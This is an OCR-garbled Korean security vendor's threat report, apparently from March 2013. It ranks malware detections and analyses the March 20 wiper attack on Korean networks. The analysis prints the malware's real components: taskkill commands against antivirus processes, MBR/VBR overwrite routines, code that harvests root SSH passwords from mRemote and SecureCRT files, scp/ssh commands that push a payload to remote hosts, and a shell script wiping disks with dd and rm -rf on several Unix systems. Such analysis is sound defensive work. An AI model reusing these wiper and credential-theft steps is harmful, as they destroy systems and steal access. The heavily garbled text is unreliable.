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[2013H 03& 01 ~ 20134 03€ 31¢]

'6'!-7:"

z¢l AtYIE FEHY LIkl et
1 t7  Spyware.OnlineGames.wsxp Spyware 4,606
2 New  Gen:Variant.Zusy.4661 Etc 4,078
3 New  Trojan.Downloader.KorAdware.Dat Trojan 3,532
4 New  Trojan.Generic.KDV.783131 Trojan 3,273
5 New  Trojan.Generic.8085417 Trojan 3,224
6 New  Gen:Trojan.HeurDPVGW@a8hdVSfG Trojan 2,716
7 {1 Trojan.DownloaderATGG Trojan 2,646
8 t2  Trojan.JS.AgentHFM Trojan 2,579
9 New  Gen:Variant. Adware.Graftor.Elzob.14084 Adware 2,519
10 New  Gen:Variant.Symmi.3624 Etc 2411
11 New  Hosts.gms.ahnlab.com Etc 2,372
12 New  Trojan.Downloader.86016 Trojan 2,370
13 New  Trojan.Generic.7915400 Trojan 2,244
14 New  Gen:Trojan.Heur.GZAGW@byLhZ1BG Trojan 2,232
15 New  Adware.WinAgir.C Adware 2,008

XM =8, AE AFEXe| HEEAE S5t MET =9

4% A4dIE Top 15= ALEX PCOIAM EXE AHAEE 7|H2 LHE0H SAHQLICH

3ol Y Ad™dAL TOP 150 M= X2 8QE XX E Spyware.OnlineGames.wsxpZt 77|
o 245510 192 AX|SIJASULCE T dHdAEE 22 Y AEEFE FH2ZE St= &
GIRE RET 17IX|0|H, HALOIE Hx A OSFAFE 0|8t ALEXIPCE A HAILLCH 29
£ KIX|BH Gen:Variant.Zusy.46612| Z2 MEL HElQ| AMIACL OfLH 7|=E0 T AH&ZHo=E
2 ALEXAIPCE AGAIZE ddIAERZ AEXRIE Y F|REYS SAXOA ©ES= 9
S AL CL 39E XtX|Bt Trojan.DownloaderKorAdware.Dato| 4L A& QI mZ 2o G|
OlE MHZF HEE|O MEX RE2H FPYIREE HREESID d¥A|7|= ddAEYULCL
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m E Z20|=0t (Trojan)
m AT}H0[9) Of (Spyware)
H O EQ O (Adware)

B F 2™ (Exploit)

E=2o0|Z0t

(Trojan) =& (Worm)
589% m 7|E} (Et)

B & O] (Backdoor)

B H}O|2{A (Virus)

SHO|XH7 (Hijacken)

mSAEMY (Host)

SRS RHY HISOIM ER0|20(Tojan) FHO| 713 B 58%S AXHS, 7|EHEL)
QEO| 21%2 292 XXIYSLICE ATHOIRI0|(Spyware)RBO| FP 11%2 3919 HRE8S

HASLCL 4918 XX[SH O ERO0f(Adware)RE el = 39(2t Aol RAY #X|& 2RSS

(3) 7ty n2|E <4
E 20| F0t (Trojan) 72%

A1t0|Q 0] (Spyware)

Of =)0 (Adware)
Sto| X7 (Hijacker) | B8

& (Worm) | 8% o
#|oF (Exploit) | B% '3;
HEO|2{ A (Virus) 8%
4 = 0] (Backdoor) | §%

SAEDIY(Host) | §é

7| EHEtc) m 21%
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3@ AlY«c

© 4T

X AR =l

EEMHB)OZ EIA EHA

« e 201 Sz BoL HYS NAHeR 27

EED A
- mpuye
Detection Name okAl S|
Trojan.Agent.TroyM CEE2m g3 43
Trojan.KillDisk. MBR MBR I3
Trojan.KillDisk. MBR QUA AHY A3 noiy
HA Command-line SCP/SFTP client
HA Command-line SSH, Telnet client
- oY My
EED A7t A [, AHEXLS] %BTEMP% ZEHE ZOF "MBRIHY|, FYAAYE ClAZ Lty
FTP S2I0|ME, |4 T S20[HE" mY Mo
& Temp =10 x|
J OHcEY  MEEY 220 XA ST » -;1.'
<k Ve =n |G
|F&0) | [AEFHZTEMP %Ea | EJas
! ~H|3rl.tm|:| ~
saal [ 2013-03-21 7= 1202
2221 ThP Db
AgentBase, exe
eM3-03-21 =2= 1202
alg, exe
cn3-03-21 2= 1202
Command-line S5H. Telnet, and Rl .,
COnime, exe
-"’ e 3-03-21 2= 1202
% Cornmand-line SCP/SFTP client
|4 ks |338KB |j LH 2 &H o
(a8 %TEMP% ZL0| dd = o 3tH)
-ZENA BB
oto| ¥ £l ZEMA S50 XEE ZEMAE SEA|ZICH

9174
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taskkill /F /IM pasvc.exe (AhnLab Policy Center Agent Process)
taskkill /F /IM clisvc.exe (Hauri ISMS Client Process)

- MBR & VBR HZ=

EE 897 B2 =W AX"-ED 5t %TEMP%REL O "~v3.log” MAO| EX|5t= X| =l 2,
Z=XY SX| QoD OFAEEE 3 S (MBR)S} g§$5a1|4=|_5<v3m9| U= ME{Z Overwirte 5}0]
MMEOl HEQ| g|X| @2 HZAIZICH (Overwirte 2XFE 2 PRINCPES x| ZICH)

Offset(h) 00 01 02 03 04 05 06 07 O3 0% 0L OB OC OD OE OF

ooooooood 50 52 49 4E 43 49 50 45 53 00 50 52 49 4E 43
Qoooooold 50 45 53 00 50 52 45 4E 43 49 50 45 53 00 50
QoooooozZd 49 4E 43 49 50 45 53 00 50 52 49 4E 43 49 50
oooooooso 53 00 50 52 49 4E 43 49 50 45 53 00 50 52 49
ooooooo4o 43 49 50 45 53 00 50 52 49 4E 43 49 50 45 53
oooooooso 50 52 49 4E 43 49 50 45 53 00 50 52 49 4E 43
ooooooosed 50 45 53 00 50 52 4% 4E 43 49 50 45 53 00 50
oooooooyo 49 4E 43 49 50 45 53 00 50 52 49 4E 43 49 50
oooooooso 53 00 50 52 49 4E 43 49 50 45 53 00 50 52 49
oooooooso 43 49 50 45 53 00 50 52 49 4E 43 49 50 45 53
oooooooad 50 52 49 4E 43 49 50 45 53 00 50 52 49 4E 43
oooooo0ED 50 45 53 00 50 52 4% 4E 43 49 50 45 53 00 50
oooooooco 49 4E 43 49 50 45 53 00 50 52 49 4E 43 49 50
ooooooopo 53 00 50 52 49 4E 43 49 50 45 53 00 50 52 49
Qoo0oo00ED 43 49 50 45 53 00 50 52 49 4E 43 49 50 45 53
QoooooooFo 50 52 49 4E 43 49 50 45 53 00 50 52 49 4E 43
oooooo1loo 50 45 53 00 50 52 4% 4E 43 49 50 45 53 00 50
oooooo110 49 4E 43 49 50 45 53 00 50 52 49 4E 43 49 50
oooooo1=0 53 00 50 52 49 4E 43 49 50 45 53 00 50 52 49
oooooo130 43 49 50 45 53 00 50 52 49 4E 43 49 50 45 53
oooooo140 50 52 49 4E 43 49 50 45 53 00 50 52 49 4E 43
oooooo1s50 50 45 53 00 50 52 4% 4E 43 49 50 45 53 00 50
oooooo1se0 49 4E 43 49 50 45 53 00 50 52 49 4E 43 49 50
ooooooiwo 53 00 50 52 45 4E 43 45 50 45 53 00 50 52 48
ooooooiso 43 45 50 45 53 00 50 52 49 4E 43 49 50 45 53
oooooolsa 50 52 49 4E 43 49 50 45 53 00 50 52 49 4E 43
oooooolid 50 45 53 00 50 52 45 4E 43 49 50 45 53 00 50
ooooooled 49 4E 43 49 50 45 53 00 50 52 49 4E 43 49 50
ooooooica 53 00 50 52 49 4E 43 49 50 45 53 00 50 52 49
oooooolipa 43 49 50 45 53 00 50 52 49 4E 43 49 50 45 53
oooooolEd 50 52 49 4E 43 49 50 45 53 00 50 52 49 4E 43
oooooo01F0 50 45 53 00 50 52 45 4F 43 49 50 45 55 00 50

(18. MBR It VBRO|| ATl EAE HH)

PRINCIFES.FPRINCI
PEZ.PRINCIPES.FR
INCIPEZ.PRINCIFE
3.PRINCIFES.FPRIN
CIPES.PRINCIFES.

FRINCIPES.PRINCI
FE3.PRINCIFES.FR
INCIFEZ.PRINCIFE
3.PRINCIFES.FPRIN
CIPES.PRINCIFES.

FRINCIPES.PRINCI
FE3.PRINCIFES.FR
INCIFEZ.PRINCIFE
3.PRINCIFES.FPRIN
CIPES.PRINCIFES.

FRINCIPES.PRINCI
FE3.PRINCIFES.FR
INCIFEZ.PRINCIFE
3.PRINCIFES.FPRIN
CIPES.PRINCIFES.

FRINCIPES.PRINCI
FE3.PRINCIFES.FR
INCIFEZ.PRINCIFE
A3.PRINCIPEZ.PRIN
CIPEZ.PRINCIFPER.

PRINCIPEZ.PRINCI
PES.FRINCIFPES.PR
INCIPEZ.PRINCIPE
3.PRINCIPEZ.PRIN
CIPEZ.PRINCIFPES.

PRINCIPES.PRINCI
PES.PRINCIPES.PE

Ho|x| | 8



- oi Ay

g MEs2 A= 2MAN HHO me A7 =5 2T

Windows XP, Windows 2000, Windows Server 2003 @ A20{|= MBR1} VBRE B X A|7|H,
Windows VISTA, Windows Server 2008, Windows 7, Windows Server 2012 & A20|= MBR &
VBR HxX 7|1t & "B ~ Z' EZIO|ENX EE W9l LES "PRINCPES” EXLE=E
Overwrite & AMX| A|ZICH

Tt CEZ}O|E 9| %SystemDirectory%, %ProgramData%, %ProgramFiles% C|EHEZ|= AtK|SHX| &4
=Lt

ve
[
ae4819CcA
aa4819CcA loc_4819CA: ; CODE XREF: recusive_delete+BE]]
884819CA 8D 84 @D+ 1lea eax, [ebp+ecx+var_61F]
ag4e19p1 83 C1 9A add ecx, Bah
8481904 C7 48 FF+ mov dword pty [eax-1], "HIRP®
88481908 C7 48 63+ mov dword pty [eax+3], '"EPIC®
B04819E2 C6 48 87+ mov byte ptr [eax+7], 53h ; "PRIMCIPES.”
A04819EG6 3B CF cmp ecy, edi
Aa4819E8 7C EB il short loc_4819CA

i

il e
804819EA 89 5D FC mou [ebp+var_ 4], ebx

‘4
(FR -
884819ED
8a4619ED loc_4B19ED: ; CODE XREF: recusive_delete+CCJj
aa4e19ED 53 push ehx
BA4019EE BD 45 F8 lea eax, [ebp+uar_8]
804019F1 5@ push eax
g84B19F2 57 push edi
8a4819F3 BD 85 EB+ lea eax, [ebp+var_6208]
804019F9 5@ push eax
8a4019FA FF 75 @8 push [ebp+arg_HA]
884B19FD FF 96 7h+ call dword ptr [esi+374h] ; WriteFilen
agua1AB3 8% CA test eax, eax
gey@1Aes 74 21 jz short loc_L4B1AZ28

=

(A8 o 2XES 2= AL 1)

PSR P L

MBR 8! VBR Q| HZx7} 2t2&[H 300ms(5 2)7 Xt = A|A”O0| ZH IHAIZ ECt

Ho|x| |9



weny
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Lot

push ebp

now ebp, esp

sub esp, 18h

push esi

nov esi, [ebp+arg_ 8]
push edi

®or edi, edi

push edi

lea eax, [esi+56Eh]
push eax

call dword ptr [esi+394h] ; WinExec

: CmdLine = shutdown -v -t 8
push 27168h
call dword ptr [esi+354h]

lea eax, [ebp+arg_8]
push eax

push 28h

call dword ptr [esi+398h]
push eax

call dword ptr [esi+328h]
test eax, eax

jnz short loc_hB2143

(A8 A2"EE T AEFA7|E 2E =HEH)

MBR I} VBRO| BIX £ AABS T2 Al 44Xl 2go| &|X| pheCt
Network boot from AMD AM79C978A

Copyright (C) 2883-2888 UMware, Inc.
Copyright (C) 1997-2888 Intel Corporation

CLIENT MAC ADDR: HH BC 29 4E 14 B4 GUID: S564DB222-D?8E-AEB4-BZ?H1-35553F4E14B4
PXE-E53: No boot filename received

PXE-MBF: Exiting Intel PXE ROM.
Operating System not found

-

ag. &g & A2 28 =tE)

I
2]

= ag| =278 ME 29l(mRemote, Secure CRT)
2ol 92 F& 2| T2aMo| YLK el Brk
o

“Secure CRT” 2} “mRemote” T Z1ZMO|A MY HEI} HEE|O Q= Or9

>

o op Mo
Ral
>.

ot
0
0x

%
°

Ra
o

o
il

SIH A 7t Windows XP, Windows 2000, Windows Server 2003 & ZAL0|= Ofgfe| 42 E
(mRemote : C:WDocuments and settingsW[AI-2 X} 7| H]#Local SettingsWApplication
DataWFelix_DeimelWmRemotetconfCons.xml

Secure CRT : C:WDocuments and settingsW[AF2 X} A H]WApplication DataWVanDyke¥#Config#

Sessions¥*.ini)

g o|x| | 10



i AlYsc 2 @ 2UEE Ea04 4

XX 7t Windows VISTA, Windows Server 2008, Windows 7, Windows Server 20122 A0 =
otzfe| H=OoM mUS A ECh

(mRemote : C:WUsersWAppDataWlLocal#tFelix_DeimelWmRemoteWconfCons.xml

Secure CRT : C:WUsersWAppDatattRoamingWVanDyke¥ConfigWSessionst#*.ini)

mRemote = Z 1 249| confCons.xml| HI}0| 20l &|H, otgfje| EXLEESE FETHCL

-

Username="root"
Protocol="SSH"
Password=
Hostname

Descr

Panel

Port

Password

memset(&uig, B, Bx2708Fu);
result = fopen{{const char =}uZ, "r");
ulh = pesult;
if { result )
{
for { result = (FILE #=)feof{result); tresult; result = (FILE =)feof{ul}) 3}
{
memset{(&u17, vl, Bx278Fu);
fgets{&ui17, 9990, ul});
if { strstr(&uvi?, "<Hode")}
el strstr(&uisy, “Username=W"'rooth ")
&& strstr(&uvi?, "Protocol=W'SSH"}
&& ftstrstr(&uiy, " Password=W'H'"}) )

w27y = vi;

memset{&u28, vi, Bx183u);

vl = ui;

memset{&u20, uvil, Bx183u);

vl = vi;

memset(&vz2, vi, Bx183u);

v29 = ui;

memset{&uaf, vi, Bx183u);

w23 = ui;

memset{&u2h, vil, Bx183u);

U2t = ui;

memset(&vz6, vi, Bx183u);
sub_4B32EB({&v1/7, {(int)"Hostname™, &UZ7);
sub_WB32EA{&uv17, {(int)"Descr", &ui9);
sub_4B832E@{&v17, (int)"Panel"™, &uZ1});
sub_4832E8{&uv17, {(int)"Port™, &u29});
sub_4832E8{&v17, {int)"Password”, &U2Z3);
sub 4@31EA(&U23) ;

vt = B;

(A&l confConsxm| IIYNA EXEES &= I E 3IHH)

Zo|x| | 11



@ ":\/‘r

Secure CRT T 2120| “ini" mYUO0| 29l |, ofzfo] EXAUES ==sir}.

S:"Protocol Name"=SSH
S:"Username"=root

D:"Session Password Saved"=00000001
S:"Hostname"=

S:"Password"=

D:"[SSH2] Port"=

fseek{vd, 3, 8);
fread{&uihi, 1u, BxfFFu, v?});
fclose(uwd);
if { strstr(&uis, "S:¥'Protocol HameW'=SSH™) )
{
if ( strstr{&uis, "S:wUsernamed'=root") )
{
if { strstr(&u3s, "D:W"Session Password Savedi'=000088061') )
{
uld = strstr{&u3ly, "S:W'HostnameW ="");
ifF ( vig )
{
uii vig + 13;
vi1? = strchri{viid + 13, 18);
strncpy(&u3g, vil, uvi2 - vil);
U113 = strstr{&uih, "S:W'Passwordi' ="");
if { vi3 )
{
vih = vwl3 + 13;
uvis strchr{vii + 13, 18);
strncpy{&usd, vih, vis - uik);
sub_4A3E4B(&KU3G) ;
uld = strstr{&u3l, "DIW"[SSH2] PortW'="");
if ( vi6 )

confConsxml| ItQLD} ini MEDIAYA =

= S Sl 4 AX}O| Secure CRT2f
mRemote HFOAO| MYE MH HEE 0|88 od WAIEE mMAS

(o]
O
YEE U MEAZICH

%Temp%ttconime.exe -batch -P [port] -I root -pw %Temp%tt~prl.tmp [host]:;/tmp/cups
%Temp%ttalg.exe -batch -P [port] -l root -pw [host] "chmod 755 /tmp/cups;/tmp/cups”

Mg A7l ~priltmp’ THUS QYA Yol CIAIE MFAIZIE 4 A3YE mAo|c
QYA A2 RO Ozt X3 CH2 A4NH9IS NIt

g o|x| | 12



4]

AlYeac

SYSTYPE="3UNAME -=°
if [ §8YSTYPE = "Suno3™ ]
then

dd for sun
elif [ §3¥ITYPE = "ALIXH" ]
then

dd for aix
elif [ S3¥Y3ITYPE = "HP-UX"™ ]
then

dd for hp
elif [ S3Y3TYPE = "Linux™ ]
then

dd for linux
else

exit

(18 R4 05 S XE

|>
]
i
[m
ne
I
ot
2

i

i

i

dd for hp(]

mm]

LISE='strings —v /etc/lvmtab|grep -v vg'

for DISE _PART in FDISK
do

DD if=/dev/zero of=§DISK PART bs=5152000 &
done

dd for aixi)

DISE="1lsp | awk '{print $1}'"

for DISE_FART in $DISK
do

DD if=/dev/zero of=/dev/iDISK PART bs=10M &
done

dd_for_suni()

i

rm -rf /kernel/ &

rm -rf /usr/adm’ &

rm -rf fetcc/ &

rm -rf fhome/ &

rm -rf / &

FRTTOC="$WHICH prtvtoc’®
DISE="1s /dev/dsk | grep s2°

for DISE_FART in SDISK
do
mnt_inf0=‘$PRTTOC Kdevfdskf$DISK_PART | grep Mount®

if [ "expr "imnt info™ @ 'L —gt O]
then
DD if=/dev/zero of=/dev/dsk/§{DISK PART bs=51520k &
fi
done

dd for linuxi)

T

rm -rf /kernel/ &
rm -rf fusr/ &
rm -rf Jetc/ &
rm -rf fhome/ &

(13, 842 05 C|A3E TIAI7|E ASYE AL 30
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4

SunOS, AIX, HP-UX OS7t &0l &M, DD H&HE 0|8230f SunOSE 80MB, AIXE= 10MB, UP-UXE&
8MB Z7|2tF C|A3F 022 AMESH.

Linux OS7} 2Ol Dl ofaje] H=2 ZH ARl AlziCt
rm -rf /kernel/

rm -rf /usr/

rm -rf /etc/

rm -rf /home/

g o|x| | 14



- OUEE
Detection Name org sl
Trojan.Agent.TroyM CEE2m g3 43
Trojan.KillDisk. MBR MBR I} 1|
PSPy Vms MEl o
-Z2MNA S8
otelo] e £ Z2NA SEOM XHE Z2MAE S=A|ZICH

taskkill /F /IM vrfwsvc.exe
taskkill /F /IM vrptsvc.exe
taskkill /F /IM vrscan.exe
taskkill /F /IM hpcsvc.exe
taskkill /F /IM hsvcmod.exe
taskkill /F /IM vrfwsock.exe
taskkill /F /IM vrmonnt.exe
taskkill /F /IM vrrepair.exe
taskkill /F /IM vrmonsvc.exe

C:WProgram FilesWhauri#SiteClient#VrDown.exe

C:WWWProgram FilesW#Hauri#wSiteServer#VrPatch.exe

C:WWProgram FilesW#Hauri#wSiteServer#ptUpdate.exe

C:WWWProgram FilesW#Hauri#wSiteServerwvismsupdate#Wupdate.zip
C:WWWProgram FilesW#Hauri#WSiteServertvismsupdateWvms1014.zip

o}

ol
=
EE5H B7} 2 &|E, ofafe] d=0f mUS 4Gttt

C:WProgram FilesWHauriWSiteServerWvismsupdateWupdate.zip
C:WProgram FilesWHauriwSiteServer#vismsupdatevms1014.zip

MY = ozip S0 Vms ME LWHEO| MZE = “"vmsinitini” I
“OthDown.exe”

jo| =0 Atk

g o|x| | 15



IhFy «#iE) £800) =sZH)

2 /2 lei{ .“i .>';:‘\ ( “4 -
S RECH: i B Zum20 i =Eap
MEEE 527 | IS0 BEET ] ” - el
Z0 x| 0 == 37 37 | H=E | EF
2 update, zip |#] vmsinit,ini B.629 BGE32 BE% & HFE

UfziE) #E) 2200 S5

b { 4\ | sin L | A, 2 \ “_4.
\ ! { =y 4 * S |
i Dt ; o g z

MZEE US| | MEE HEE ]

= HIEE or= 37| 3 |EEE | EB
) wmsllldzip [ OthDown.exe 7126 24576 T% S8 ZE=C
0 D e
<]l | EX
0T HE. 0Byte oo U 2918

8D45 Fa LEA EAX, [LOCAL.4]
58 EAX
FF26 38830008 DWORD PTR DS:[ESI+338] kernel32.GetLocalTime
BF 7846AD4D | HMOU EDI, 2013-83-20 14:88
EB 1% JHP SHORT B8B4B11ED
68 6BEADAABB 66888 -> 1min
CALL DUWORD PTR DS:[ESI+334] kernel32.S51leep
LER EAX, [LOCAL.4]
EAX
FF96 3803000|| H]KN DUWORD PTR DS:[ESI+338] kernel32.GetLocalTime
BFB745 F@ MOUZX EAX, WORD PTR SS:[EBP-18]
29 [Hil1]
6A 64
59 ECX OthDown . 804828BCB
F7F9 DIV ECX
BFB745 F2 MOUZX EAX, WORD PTR SS5:[EBP-E]
6BD2 64 IHMUL EDX, EDX,
83pa ADD EDX, EAX
BFB745 F6 MOUZX EAX, WORD PTR SS:[EBP-A]
6BD2 64 IHMUL EDX, EDX,
83Dpa ADD EDX, EAX
BFB745 F8 MOUZX EAX, WORD PTR SS:[EBP-8]
6BD2 64 IHMUL EDX, EDX,
83Dpa ADD EDX, EAX
BFB745 FA MOUZX EAX, WORD PTR SS:[EBP-6]
GBD2 64 IHMUL EDX, EDX,
83pa ADD EDX, EAX
3BD7 [Hyl EDX, EDI
7C B9 JL SHORT BB4811D8

(a8 % & AltE H35ts ZEUWSE)




- MBR & VBR H#=
EE 97t 38 E|H, OIAHREZYZE(MBR)QF 2R EYIE(VBR)S Y& MEE Overwirte
510} MARQI HEIO| E|X| U2 HZA|ZIC| (Overwirte 2XFH-2 HASTATI & FICH

Offset(h) 00 01 02 03 04 05 06 07 03 09 0OA OB OC OD OE OF

aoooooooo hB 41 53 54 41 54 49 ZE 00 43 41 53 54 41 54 49 EASTATI..HASTATI
ooooooolo Z2E o0 45 41 53 54 41 54 49 ZE OO0 45 41 53 54 41 L CHAITATI..HASTA
ooooooozEo 54 49 ZE 00 43 41 53 54 41 54 49 ZE 00 43 41 53 TI.  HASTATI..HAS
Qoooooos0 54 41 54 49 ZE OO0 48 41 53 54 41 54 49 ZE 00 45  TATI. . HASTATI..H
ooooooo4o 41 53 54 41 54 49 ZE 00 48 41 53 54 41 54 49 ZE A3TATI. .HASTATI.
ooooooos0 0o 45 41 53 54 41 54 49 EE 00 45 41 53 54 41 54 JHAITATIL. .HASTAT
oooooooed 49 ZE 00 45 41 53 54 41 54 459 Z2E 00 45 41 53 54 I. . HAITATI..HAST
ooooooovo 41 54 4% ZE 00 43 41 53 54 41 54 49 ZE 00 45 41 ATI. .HASTATI..HA
oooooooso 53 54 41 54 49 ZE 00 43 41 53 54 41 54 49 ZE 00 0 3TATI..HAITATI..
oooooooso 45 41 53 54 41 54 49 ZE OO0 45 41 53 54 41 54 49 HASTATI. .HASTATI
oooooooaD Z2E 00 45 41 53 54 41 54 49 EZE OO0 45 41 53 54 41 L JHA3ITATI..HASTA
Qoooooo0eod 54 49 ZE 00 43 41 53 54 41 54 49 ZE 00 43 41 53 TI.  HASTATI..HAS
oooooooco 54 41 54 49 ZE 00 43 41 53 54 41 54 49 ZE 00 43 TATI..HAITATI..H
oooooooDo 41 53 54 41 54 49 ZE 00 48 41 53 54 41 54 49 ZE A3TATI. .HASTATI.
oooooooED 00 45 41 53 54 41 54 49 EE 00 45 41 53 54 41 54 JHAITATI. .HASTAT
oooooooFo 49 ZE 00 45 41 53 54 41 54 45 Z2E 00 45 41 53 54 I. . HAITATI..HAST
ooooooloo 41 54 4% ZE 00 43 41 53 54 41 54 49 ZE 00 45 41 ATI. .HASTATI..HA
oooooo11o 53 54 41 54 49 ZE 00 43 41 53 54 41 54 49 ZE 00 0 3TATI..HAITATI..
ooooo0120 45 41 53 54 41 54 49 ZE OO0 45 41 53 54 41 54 49 HASTATI. .HASTATI
oooooo130 Z2E 00 45 41 53 54 41 54 49 ZE OO0 45 41 53 54 41 L CHAITATI..HASTA
oooooo140 54 49 ZE 00 43 41 53 54 41 54 49 ZE 00 43 41 53 TIL O HASTATI..HAS
oooooo1s0 54 41 54 49 ZE 00 43 41 53 54 41 54 49 ZE 00 43 TATIL.HAITATI..H
ooooooled 41 53 54 41 54 49 ZE 00 48 41 53 54 41 54 49 ZE A3TATI. .HASTATI.
oooooolvo oo 45 41 53 54 41 54 49 EE 00 45 41 53 54 41 54 JHAITATI. . HASTAT
oooooolso 49 ZE 00 45 41 53 54 41 54 45 Z2E 00 45 41 53 54 I. . HAITATI..HAST
oooooo1s0 41 54 4% ZE 00 43 41 53 54 41 54 49 ZE 00 45 41 ATI. HASTATI..HA
oooooo1a0 53 54 41 54 49 ZE 00 43 41 53 54 41 54 49 ZE 00 0 3TATI..HAITATI..
oo0oo01B0 45 41 53 54 41 54 49 ZE OO0 45 41 53 54 41 54 49 HASTATI. .HASTATI
oooooolco Z2E 00 45 41 53 54 41 54 49 EZE OO0 45 41 53 54 41 L JHAITATI..HASTA
oooooolDo 54 49 ZE 00 43 41 53 54 41 54 49 ZE 00 43 41 53 TI.  HASTATI..HAS
oo0oo01ED 54 41 54 49 ZE 00 43 41 53 54 41 54 49 ZE 00 43 TATI..HASTATI..H
oo0o001Fo0 41 53 54 41 54 49 ZE 00 45 41 53 54 41 54 49 ZE A3TATI..HASTATI.

(A8. MBR It VBRO|| 20| ZAE 2HH)

>

- by AR

e oS A= 2EMA HHo W ¥e7F =5 ZetdIoh

Windows XP, Windows 2000, Windows Server 2003 2 ZAL0{|= MBR1} VBRE BIZXA|7|O,
Windows VISTA, Windows Server 2008, Windows 7, Windows Server 2012 & ZA20|= MBR &
VBR Bix 7|1t g7 "B ~ Z' EEIO|EZIXA EE mao| &L “PRINCPES” EXE=
Overwrite & AHK| A|ZICH

Tt CEZI0|E 9| %SystemDirectory%, %ProgramData%, %ProgramFiles% C|EEZ|= APK|SHA| Q4
Sot.

o J
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MBR 3! VBR Q| HZ7} 2tE2E|™M 300ms(5

L J
il s B
g04812F 8
004B19F 8 loc_u4Pi19F8: : CODE XREF: sub_4B198C+86) j
084819F8 8D 84 aD+ lea eax, [ebp+ecx+var_61F]
004819FF 83 C1 @9 add ecx, 9
80481A82 C7 48 FF+ mouv dword ptr [eax-1], 'TSAH®
08481A89 C7 40 683+ mowy dword ptr [eax+3], ".ITA" ; "HASTATI."
faLa1a18 3B CF cnp ecx, edi
geud1n12 7C EL4 jl short loc_4819F8

i

il s B2
gase1a1y 89 5D FC mov [ebp+var_4], ebx

I
Ll s
ae481A17
ae4e81a17 loc_4@1p17: ; CODE XREF: sub_L4B198C+Ch4)j
ap4p1A17 53 push ebx
B8481A18 8D 45 FB lea eax, [ebp+var_8]
ge401A1B 58 push eax
a8481a1c 57 push edi
a8481A1D> 8D 85 EB+ lea eax, [ebp+var_628]
g8481A23 50 push eax
ae481A2Y FF 75 B8 push [ebp+arg H]
ae481A27 FF 96 74+ call dword ptr [esi+374h] ; WriteFilen
ae4a1A2Db 8% CA test eax, eax
ae401A2ZF 74 21 jz short loc_4@i1AS2

(A8 oo 2XEs A= ZE ofH)

=)7F A = A[AEO[ ZA AR ElCh

push
mowv
sub
push
mowv
push
®or
push
lea
push
call

push
call
lea

push
push
call
push
call
test
jnz

ebp
ebp, esp
esp, 16h
esi

esi, [ebp+arg_ 0]

edi
edi, edi
edi

eax, [esi+56ER]

eax

dword ptr [esi+394h] ; WinExec

2718h

dword ptr [esi+354h]
eax, [ebp+arg_#]

eax
28h

dword ptr [esi+398h]

eax

dword ptr [esi+328h]

eax, eax

short loc_ 482143

; CmdLine = shutdown -r -t @8

(A8 A2"E A AEA7|E 22 HE)
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weny
matad
Lot

MBR 1t VBRO| = El A|AE2 MFEE A &80l £E0| F[X| =C|

Network boot from AMD AM79CI78A
Copyright (C) 2883-2888 UMware, Inc.
Copyright (C) 1997-2888 Intel Corporation

CLIENT MAC ADDR: B8 BC 29 4E 14 B4 GUID: 564DB222-D28E-AEB4-B281-35553F4E14B4
PXE-E53: No boot filename received

PXE-MBF: Exiting Intel PXE ROM.
Operating System not found

)
X ol 240 L2 Wi&XE mReote 2f Secure CRT 2| AH| T% FYHIUU2 ofo[HQl
2 5 Al MH FE FHoYo| 2YAE xml It .ini ©tA0| Of CHE

[ 2
o
SERR HFM ALEStE A= OE 4 A0 WM AP 07t 7hS5tCt

0 A A

<z

StAl 2t2|Bt7| lof AMESICEEL|, 2 etA
L

| BAS] HOINgS X&HoR

g o|x| | 19



BB ALYx<c 1612 4 gis gXY oo} §i7H HOIES ST M 4HE

Part I 3g9o| AMIAE EH
3. §|L|TH/ER| T BEM

(1) Are| Top 10 ZE

23 22
3389 3% 3306

4% W 1433
m 25
W 3389
23
m22
5900
m110
1080
m 808

(2) 42| Top5 ZE YH 0|
20131 019 ~ 201314 03]

m20134 1¥
m20134 2&
m20134 38

3306 252 1433 3389 23

ESTsoft copyright © by ESTsoft Corp. Al rights reserved. Zo|x| | 20



BB AlYec 1l 4 o= gX QIO §7H HOLES HTM 4%

() o8 EgiE {FY 0|

[201214 10€ ~ 2013 03¢]

20124 10€ 20121 11€ 20124 12@ 20134 1€ 20134 28 20134 3€

ESTsoft copyright© by ESTsoft Corp. All rights reserved. mo|x| | 21



Wl AlVac mef < gis 819 U} P HOIEY HIM 4US

Part I 38o| &MHIAE E7

Jk.u.l-l D'IIOEI _E_Li

M
(1) ¥4 A™ S Ho|A S4 s
40,000
35,000
30,000
25,000
20,000
15,000 mHO| 2 A
10,000 r m A
5,000
0
— o LN ™~ (@)} — o LN ™~ ()] — o LN M~ ()] —
m o o oh o on 77T 7oA Qg QA e
Mm h 0N h oen QMmN o
— — — — — o o o o o o o on o™ on o™
o o o (@) (@] — — — — — — — — — — —
o (Q\] o (Q\] o o o o o o o o o o o o
N N N N N N N N N (@\] N

22 A% A HOI2A S/ dg JdaijZ= ofR0| RYE= HOl2A A A WS HeE Lt
Etli= =Lt 38| B2 20| Hlof BRO|HqAT} ZotEl HE A= of 34% 7t
7ot en], Ay e SAHKX Al 3EO| 280 B3| F2 25% it Bl = St
RaLth HH oY =X 30| 2E0j| Hls] 20% A S7tet o IE Aoz 2EYL(C

(2) 28 &4 g
201214 10 ~ 20131 03]

1,400,000
0.6%
1,200,000
1,000,000
800,000 1o
-+ 70 EotAMaE
600,000 e
A
400,000 3.0%
34% 98.9 55% 2.9%
200,000 H .
0 T T T
log 1Y 129 12

M otgHE & the AMH AL 4dIE HEHLO 4 HES LEHE
97.1%, AHIE HEH Y0 29%2| HIEZ F4AlE ZHo=
bS| Q 2

of B3l 20% ol 3A S7HHELCh

ES Fsofl  copyright © by ESTzoft Corp. All rights resanved Bo|x| | 22



@ ":\/‘r

() AT HY ol FYIE WY

[2013H 03& 01 ~ 20134 038 31¢]

=% ofgd3aE ZTIEHE H| 2 == [7H] H| & [%]

1 W32/MyDoom-H 1,132 13.26%

2 W32/Mytob-C 773 9.05%

3 Troj/Invo-Zip 617 7.23%

4 W32/MyDoom-N 397 4.65%

5 Mal/ZipMal-B 363 4.25%

6 Mal/FakeAV-OY 306 3.58%

7 Troj/BredoZp-S 275 3.22%

8 W32/MyDoom-BZ 223 2.61%

9 W32/Virut-T 214 251%

10 W32/Netsky-C 117 1.37%
AT O o AMTC WS 28 B SOF SAE HUOA WHE 4HACS F Top 108
2 daj=ALC 102 X0 =2 19E XXM E W32/Mytob-C7t 9.05%2| HIZ2E 292 WH
EFOEﬁ K|t 22(2 AX|WE 32 W32.MyDoom-H7t 13.26%2| HIE2 MEH 1S XX

St & LI

Troj/Invo-ZipQ| A= 201210 FZ=0| Topldg 2Z2U2|H AMIEA=H S 1t 20
